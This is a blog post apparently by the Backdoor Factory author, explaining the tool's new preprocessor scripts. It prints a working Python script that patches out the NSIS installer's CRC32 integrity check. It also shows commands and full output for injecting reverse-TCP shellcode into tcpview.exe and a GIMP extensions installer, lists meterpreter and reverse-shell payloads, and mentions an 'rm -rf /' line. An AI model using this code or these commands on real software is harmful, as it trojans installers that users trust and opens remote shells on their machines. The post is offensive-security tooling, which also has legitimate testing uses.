BDF Preprocessor and Going Forward

I've been giving some thought over the past couple months where to take the Backdoor Factory (BDF).  And I've decided to do a couple things:
  • Make it easier to understand the internals
  • Make it more modular - drop-in scripts, patching methods, and payloads
  • Update it to python2/3 compatibility
These three things will allow for future portability within the python world and allow people to write their own plugins, patching methods, and extend functionality.  Yes I want to implement drop-in code injection/patching methods.  It will happen, I just need to re-write some of the core BDF code.

So starting with this post I'll be explaining the preprocessor addition, added in version 3.4.0, in a first attempt to extend functionality. Preprocessor scripts are just that - python code to do X. Whatever X is.  I've included a couple examples in this release, in the preprocessor directory, to help explain what you can do and there will be more examples in the future.  The main reason I came up with the preprocessor was that I was tired of modifying core BDF code to test an idea or concept.  With preprocessor you can write whatever you want without mucking up the main code... well unless you muck up the main code in your script. And that is correct, there are no safety checks in the script loader. If you want to write os.system('rf -rf /") in your script YOU CAN! So be careful running third party preprocessor scripts.

Preprocessor Rules:
  • The preprocessor functionality is enabled by the "-p" flag in BDF.
  • They run in alphabetical order.
  • Your script must be in the preprocessor directory.
  • One tempfile is created for all preprocessor scripts and is passed from one script to the next before being passed to BDF for payload injection. The modifications to the tempfile, before payload injection, can be saved for inspection and troubleshooting.
How to write your own preprocessor script? I've included a blank template in preprocessor:
./preprocessor/template.py

Just copy that script to a new one. Afterwards open the file for editing.

You'll notice the settings section with four options:
  • enabled (True or False)- If you want this preprocessor script executed when the preprocessor is invoked
  • keep_temp (True or False) - This saves the tempfile as it is before payload injection
  • recheck_support (True or False) - This pushes the tempfile through the support check function to ensure changes, if any, did not break patching candidacy. 
  • file_format (PE, ELF, Macho, or ALL)- This sets what file format your script applies to. 
After that you have the preprocessor script itself:

REQUIRED
class preprocessor:


    # REQUIRED
    def __init__(self, BDF):
        
        # REQUIRED
        self.BDF = BDF
        
        # if you want to return a result set it to True
        #  and check for failures
        self.result = True

    # REQUIRED
    def run(self):
        
        # call your program main here
        self.hello()

        # return a result here, if you want
        return self.result

    def hello(self):
        
        try:
        
            # add a tab for readability
        
            print '\t[*] Default Template test complete'

        #  Of course this doesn't fail
        except Exception, e:
            print "Why fail?", str(e)
            self.result = False



    As mentioned earlier you can invoke the preprocessor with the '-p' flag as so:


./backdoor.py -f tcpview.exe -p -q
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.0
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: template
[*] Running preprocessor template against ALL formats
[*] Creating temp file: /var/folders/ks/mqxq74qd1qq9y02lq6rjz4g80000gp/T/tmpqEeYSw
==================================================
[*] Default Template test complete
==================================================
The following WinIntelPE32s are available: (use -s)
   cave_miner_inline
   iat_reverse_tcp_inline
   iat_reverse_tcp_inline_threaded
   iat_reverse_tcp_stager_threaded
   iat_user_supplied_shellcode_threaded
   meterpreter_reverse_https_threaded
   reverse_shell_tcp_inline
   reverse_tcp_stager_threaded
   user_supplied_shellcode_threaded


The '-q' flag is to silence the ascii banner.


You'll notice that BDF is asking your for a shellcode to use, that's normal, but if you wanted to just see what your preprocessor is doing, you do not have to set an entire command string as the results would  be longer like so:


./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -P 8080 -H 127.0.0.1 -m automatic -p -q
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.0
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: template
[*] Running preprocessor template against ALL formats
[*] Creating temp file: /var/folders/ks/mqxq74qd1qq9y02lq6rjz4g80000gp/T/tmpZsJogJ
==================================================
[*] Default Template test complete
==================================================
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 87
[*] All caves lengths:  145, 162, 87
[*] Attempting PE File Automatic Patching
[!] Selected: 53: Section Name: .data; Cave begin: 0x45149 End: 0x451ef; Cave Size: 166; Payload Size: 162
[!] Selected: 45: Section Name: .rdata; Cave begin: 0x3fba0 End: 0x3fc46; Cave Size: 166; Payload Size: 145
[!] Selected: 39: Section Name: .data; Cave begin: 0x44d5e End: 0x44df3; Cave Size: 149; Payload Size: 87
[*] Changing flags for section: .rdata
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File tcpview.exe is in the 'backdoored' directory

For those that are not familiar with the flags:
  • -P -- Port
  • -H -- Host
  • -m -- Mode: automatic, replace, onionduke
  • -s -- shellcode
  • -p -- preprocessor
  • -q -- quiet the ascii banner
  • -f -- file to patch
To see all options, just do ./backdoor.py -h

OK, we see our template preprocessor is working fine, all it does is just print :

[*] Executing preprocessor: template
[*] Running preprocessor template against ALL formats
[*] Creating temp file: /var/folders/ks/mqxq74qd1qq9y02lq6rjz4g80000gp/T/tmpZsJogJ
==================================================
[*] Default Template test complete
==================================================


Now let's go for a more complex example:

Nullsoft Scriptable Install System (NSIS) v3.0 CRC32 Bypass

NSIS is a windows installer, mainly used by sourceforge binaries, that has self checking mechanisms to ensure integrity before installing.  If the binary is modified within certain ranges you will receive an error like so.



Since there is no cryptography involved it pretty easy to bypass. And there are two ways to do it.

1. Find the CRC32 test/cmp then conditional jump in ASM and patch it out.
2. Or, find the CRC32 location and update it.

For demoing the preprocessor, I'll just do the first one.

Here is what the script looks like:

#==========================
#!/usr/bin/env python

# settings
# Complete these as you need
#############################################

# ENABLE preprocessor
enabled = True

# If you want the temp file used in the preprocessor saved
# THE NAME is self.tmp_file
keep_temp = False

# check if file is modified beyond patching support
recheck_support = True

# file format that this is for (PE, ELF, MACHO, or ALL)
# if not specified the processor will run against all
file_format = "PE"

#############################################

# add your imports here
import re

class preprocessor:

    # REQUIRED
    def __init__(self, BDF):

        # REQUIRED
        self.BDF = BDF

        # Place holder for whether tested binary is a NSIS binary
        self.nsis_binary = False

    # REQUIRED
    def run(self):
        # call your program main here
        self.nsis30()

    def nsis30(self):
        print '\tNSIS 3.0 CRC32 Check | Patch Out Preprocessor'
        with open(self.BDF.tmp_file.name, 'r+b') as self.f:
            self.check_NSIS()
            if self.nsis_binary is True:
                print "\t[*] NSIS 3.0 Binary loaded"
                self.patch_crc32_check()
            else:
                print "\t[*] NSIS 3.0 Binary NOT loaded"

    def check_NSIS(self):
        check_one = False
        check_two = False
        check_three = False

        filecontents = self.f.read()
     
        # Three quick checks common in NSIS binaries
     
        if 'NSIS Error'in filecontents:
            check_one = True

        if 'Installer integrity check has failed.' in filecontents:
            check_two = True

        if 'http://nsis.sf.net/NSIS_Error' in filecontents:
            check_three = True
     
        # All three checks must pass
        if check_one is True and check_two is True and check_three is True:
            self.nsis_binary = True


    def patch_crc32_check(self):
       # This binary string is fairly unique
        p = re.compile("\x3B\x45\x08\x0F\x85\x9C\x00\x00\x00")
        self.f.seek(0)
        locations = []
        match_loc = 0
     
        for m in p.finditer(self.f.read()):
            locations.append(m.start())

        if len(locations) > 1:
            # Really this if statement is the same either way, just to let you know there is more
            #   than one match
            print "\t[*] More than one binary match, picking first"
            match_loc = locations[0]
        else:
            match_loc = locations[0]

        print "\t[*] Patch location", hex(match_loc)

        self.f.seek(match_loc + 4)
     
        #change \x85 to \x84
        self.f.write("\x84")
#==========================


So what is going on with this script?  All I am doing is verifying that the binary is a NSIS binary by checking that three strings exist in the binary and then flipping a bit to set the CRC32 compare result check from jnz (jump if not zero) to jz (jump if zero). So when we change the contents of the file, it will not be zero, there is no error message during execution, and no program exit.

Again a better situation will be to find the CRC32 value location, verify that the CRC32 value is actually correct - properly verifying that you are in a NSIS protected binary. Then patching the binary and changing CRC32 to match that of the modified binary.  But, I've only written a preprocessor (before patching) and not a post-processor yet. :)

One thing to note is you should work on the temp file that was created for the preprocessor module. Access it with normal file operations via "with open(self.BDF.tmp_file.name, 'r+b') as self.f:" etc...
You can also access the PE information with self.BDF.flItms, it is a python dict and should be fairly easy to understand for those familiar with PE files. flItms is short for File Items. For the macho and elf files, it is in self.BDF namespace, there is no 'flItms' object as the ELF/Macho formats are fairly easy to manipulate.

Anyway, this is how it looks when executing against an NSIS 3.0 binary with the NSIS preprocessor enabled:

$ ./backdoor.py -f GIMP_Extensions_v2.8.20150403.exe -s iat_reverse_tcp_inline -P 8080 -H 127.0.0.1 -m automatic -p -q
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory

         Version:   3.4.0

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: nsis_3_0
[*] Running preprocessor nsis_3_0 against PE formats
[*] Creating temp file: /var/folders/p8/l6qk3qcd69z234tpmylk8xhw0000gn/T/tmpaIO1Q4
==================================================
NSIS 3.0 CRC32 Check | Patch Out Preprocessor
[*] NSIS 3.0 Binary loaded
[*] Patch location 0x2224
==================================================
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 42
[*] All caves lengths:  145, 162, 42
[*] Attempting PE File Automatic Patching
[!] Selected: 2133: Section Name: .rsrc; Cave begin: 0x2bbcf End: 0x2bc75; Cave Size: 166; Payload Size: 162
[!] Selected: 1990: Section Name: .rsrc; Cave begin: 0x164af End: 0x16555; Cave Size: 166; Payload Size: 145
[!] Selected: 1998: Section Name: .rsrc; Cave begin: 0x169ff End: 0x16aa5; Cave Size: 166; Payload Size: 42
[*] Changing flags for section: .rsrc
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] Saving TempFile to: tmpauO1Q4_GIMP_Extensions_v2.8.20150403.exe
File GIMP_Extensions_v2.8.20150403.exe is in the 'backdoored' directory


You'll see here that the TempFile is saved and will be in the directory where you executed BDF from.  However, because no modifications were made to the part of the binary where the CRC is checked, you'll receive an error message if you attempt to execute the temp binary unmodified (pre-patched state). Note: this might fail on non 3.0 NSIS binaries.

I also added the debug preprocessor, it is enabled by default. When reporting any issues with BDF I recommend including the output in the issue report.

Example output:

./backdoor.py -f GIMP_Extensions_v2.8.20150403.exe -q -p
Backdoor Factory
         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory

         Version:   3.4.0

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Executing preprocessor: debug
[*] Running preprocessor debug against ALL formats
[*] Creating temp file: /var/folders/p8/l6qk3qcd69z234tpmylk8xhw0000gn/T/tmpVrZAv_
==================================================
************************* DEBUG INFO *************************
XP_MODE : False
SUFFIX : .old
iat_cave_loc : 0
SUPPORT_CHECK : False
PATCH_DLL : True
SUPPLIED_SHELLCODE : None
FILE : GIMP_Extensions_v2.8.20150403.exe
PATCH_METHOD : manual
keep_temp : False
CAVE_JUMPING : False
PORT : None
ORIGINAL_FILE : GIMP_Extensions_v2.8.20150403.exe
CODE_SIGN : False
DISK_OFFSET : 0
SHELL : show
CHANGE_ACCESS : True
SHELL_LEN : 380
NSECTION : sdata
FIND_CAVES : False
PREPROCESS : True
DELETE_ORIGINAL : False
binary : <closed file 'GIMP_Extensions_v2.8.20150403.exe', mode 'r+b' at 0x103428390>
IMAGE_TYPE : ALL
SUPPLIED_BINARY : None
HOST : None
INJECTOR : False
tmp_file : <open file '<fdopen>', mode 'w+b' at 0x1034285d0>
VERBOSE : False
RUNAS_ADMIN : False
ZERO_CERT : True
OUTPUT : backdoored/GIMP_Extensions_v2.8.20150403.exe
ADD_SECTION : False
CAVE_MINER : False
************************* BEGIN flItms *************************
AddressOfEntryPoint: 0x323c
Architecture: 0x0
BaseOfCode: 0x1000
BaseOfData: 0x7000
BaseReLocationTable: 0x0
BeginSections: 0x1d0
BoundImport: 0x0
BoundImportLOCinCode: 0x0
BoundImportLocation: 0x1a8
BoundImportSize: 0x0
CLRRuntimeHeader: 0x0
COFF_Start: 0xdc
CertLOC: 0x0
CertSize: 0x0
CertTableLOC: 0x170
Characteristics: 0x10f
CheckSum: 0x0
Debug: 0x0
DelayImportDesc: 0x0
DllCharacteristics: 0x8000
ExceptionTable: 0x0
ExportTableRVA: 0x0
ExportTableSize: 0x0
FileAlignment: 0x200
GlobalPrt: 0x0
IAT: 0x28c00007000
IDT_IN_CAVE: False
ImageBase: 0x400000
ImpList: [[4207164, 'sub', 'esp, 0x180', 4207170, bytearray(b'\x81\xec\x80\x01\x00\x00'), 6]]
ImportTableALL:
ImportTableLOCInPEOptHdrs: 0x158
ImportTableRVA: 0x73a4
ImportTableSize: 0xb4
JMPtoCodeAddress: 0x0
LoadConfigTablePresent: False
LoadConfigTableRVA: 0x0
LoadConfigTableSize: 0x0
LoaderFlags: 0x0
LocOfEntryinCode: 0x263c
LocOfEntryinCode_Offset: 0x0
MachineType: 0x14c
Magic: 0x10b
MajorImageVersion: 0x6
MajorLinkerVersion: 0x6
MajorOperatingSystemVersion: 0x4
MajorSubsystemVersion: 0x4
MinorImageVersion: 0x0
MinorLinkerVersion: 0x0
MinorOperatingSystemVersion: 0x0
MinorSubsystemVersion: 0x0
NewIATLoc: 0x28
NumberOfSections: 0x5
NumberofRvaAndSizes: 0x10
OptionalHeader_start: 0xf0
PatchLocation: 0x323c
Reserved: 0x0
ResourceTable: 0x29be80003a000
SectionAlignment: 0x1000
--------------------------------------------------
Section Name .text
Virtual Size 0x5a5a
Virtual Address 0x1000
SizeOfRawData 0x5c00
PointerToRawData 0x400
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0x60000020
--------------------------------------------------
Section Name .rdata
Virtual Size 0x1190
Virtual Address 0x7000
SizeOfRawData 0x1200
PointerToRawData 0x6000
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0x40000040
--------------------------------------------------
Section Name .data
Virtual Size 0x1af98
Virtual Address 0x9000
SizeOfRawData 0x400
PointerToRawData 0x7200
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0xc0000040
--------------------------------------------------
Section Name .ndata
Virtual Size 0x16000
Virtual Address 0x24000
SizeOfRawData 0x0
PointerToRawData 0x0
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0xc0000080
--------------------------------------------------
Section Name .rsrc
Virtual Size 0x29be8
Virtual Address 0x3a000
SizeOfRawData 0x29c00
PointerToRawData 0x7600
PointerToRelocations 0x0
PointerToLinenumbers 0x0
NumberOfRelocations 0x0
NumberOfLinenumbers 0x0
SectionFlags 0x40000040
--------------------------------------------------
SizeOfCode: 0x5c00
SizeOfHeaders: 0x400
SizeOfHeapCommit: 0x1000
SizeOfHeapReserve: 0x100000
SizeOfImage: 0x64000
SizeOfImageLoc: 0x128
SizeOfInitializedData: 0x1d400
SizeOfOptionalHeader: 0xe0
SizeOfStackCommit: 0x1000
SizeOfStackReserve: 0x100000
SizeOfUninitializedData: 0x400
Subsystem: 0x2
TLS Table: 0x0
TimeDateStamp: 0x4b1ae3c6
VirtualAddress: 0x64000
VrtStrtngPnt: 0x40323c
Win32VersionValue: 0x0
buffer: 0x0
count_bytes: 0x6
curdir: /Users/squirrel/the-backdoor-factory
dis_frm_pehdrs_sectble: 0xf8
filename: GIMP_Extensions_v2.8.20150403.exe
pe_header_location: 0xd8
rsrcPointerToRawData: 0x7600
rsrcSectionName: .rsrc
rsrcSizeRawData: 0x29c00
rsrcVirtualAddress: 0x3a000
rsrcVirtualSize: 0x29be8
supported: True
textPointerToRawData: 0x400
textSectionName: .text
textSizeRawData: 0x5c00
textVirtualAddress: 0x1000
textVirtualSize: 0x5a5a
************************* END flItms *************************
************************* END DEBUG INFO *************************
==================================================
The following WinIntelPE32s are available: (use -s)
   cave_miner_inline
   iat_reverse_tcp_inline
   iat_reverse_tcp_inline_threaded
   iat_reverse_tcp_stager_threaded
   iat_user_supplied_shellcode_threaded
   meterpreter_reverse_https_threaded
   reverse_shell_tcp_inline
   reverse_tcp_stager_threaded
   user_supplied_shellcode_threaded



Comments

Popular Posts